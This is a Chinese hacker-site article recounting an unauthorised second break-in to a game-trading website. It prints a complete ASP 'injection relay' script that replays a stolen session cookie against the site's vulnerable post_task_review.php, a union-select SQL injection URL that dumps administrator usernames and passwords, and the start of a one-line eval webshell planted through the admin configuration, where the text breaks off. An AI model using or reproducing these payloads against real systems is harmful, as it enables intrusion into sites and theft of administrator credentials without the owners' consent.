| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
渗透某一游戏交易网         ★★★ 【字体:
渗透某一游戏交易网
作者:消失再消… 文章来源:C.R.S.T 点击数: 更新时间:2008-9-24

  PS:本文是入侵后整理思路时回忆性的文章 转载请注明出处

  在这次入侵之前我已经拿到过一次这个网站的shell了,但是被删除了,由于不甘心又拿了一次,才有了下面的过程。

  一:踩点 收集信息

  因为这个已经是第二次入侵,所以具体的信息我已经基本上掌握服务器上13个站点,大多数站点很安全,因为第一渗透的时候,是由http://www.shanXXX.XX 这个站进入的,我这个人比较恋旧,所以第二次也决定由这个站点进行入侵,由后台看出这个站的程序是RAICO_V1[1].2_CS 直接从网上down下来,读代码,当然这里的php代码,本人是非常的菜鸟,感谢我的好友jackal,他的脚本是相当的强悍,呵呵...

  二:漏洞在哪里?它在灯火阑珊处

  这个程序的漏洞文件是在post_task_review.php,由于过滤不严格导致注入,下面我会在文章中详细说明如何利用:

  首先在shan这个站注册个用户并抓取登陆的cookie值,在到本地或者webshell上建立一个注入中转站的文件。

  内容如下

<%
JmdcwName=request("id")
’ 注入中转站 POST 版,BY 寂寞的刺猬 [L.S.T]
JmStr="task_subject=111&task_endday=1&task_starttime=2008-06-13+05%3A25%3A30&task_money=1&task_desc=1&addsubmit=%D4%A4%C0%C0&kind_id="&JmdcwName
JMUrl="http://www.shanXXX.XX/post_task_review.php"
JmRef="http://www.shanXXX.XX/post_task.php"
JmCok="__utma=213560918.3117244849183171600.1213283730.1213293786.1213305387.4; __utmz=213560918.1213283730.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=213560918.21.10.1213305387; __utmc=213560918; PHPSESSID=96b20d4edfe8477cf276aa639bfc31d3"
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef)
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef
.SetRequestHeader "Cookie",PostCok
.Send PostStr
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)
strReturn=""
Dim i
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
strReturn=Replace(strReturn,chr(32),"%20") ’转换空格,如果网站过滤了空格,尝试用/**/来代替%20
strReturn=Replace(strReturn,chr(43),"%2B")  ’JMDCW增加转换+字符
’strReturn=Replace(strReturn,过滤字符,"转换为字符")  ’在此增加要过滤的代码
URLEncoding=strReturn
End Function
%>

  之后浏览地址为http://localhost/jmpost.asp?id=1107%20and%201=2%20union%20select%20-1,concat(admin_name,admin_pw)%20from%20rco_admin/* 就可以直接爆出管理员的用户名和密码。

  三: 获取webshell 拿到目标站的路径.

  登陆后台,只能上传图片,抓包上传,截断 ,未能实现。

  但是后台的配置那可以插一句话

  a’";@eval(

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客: 没有了
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    渗透游戏代理商全程
    渗透某知名游戏代理全程
    对Hack98的一次渗透
    渗透测试工具使用简介
    简单渗透韩国服务器
    记一次简单的渗透测试
    黑客教你php渗透方法
    艰难渗透源码出售站点
    渗透香港劲舞团官方论坛
    渗透荆门市的门户网站
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号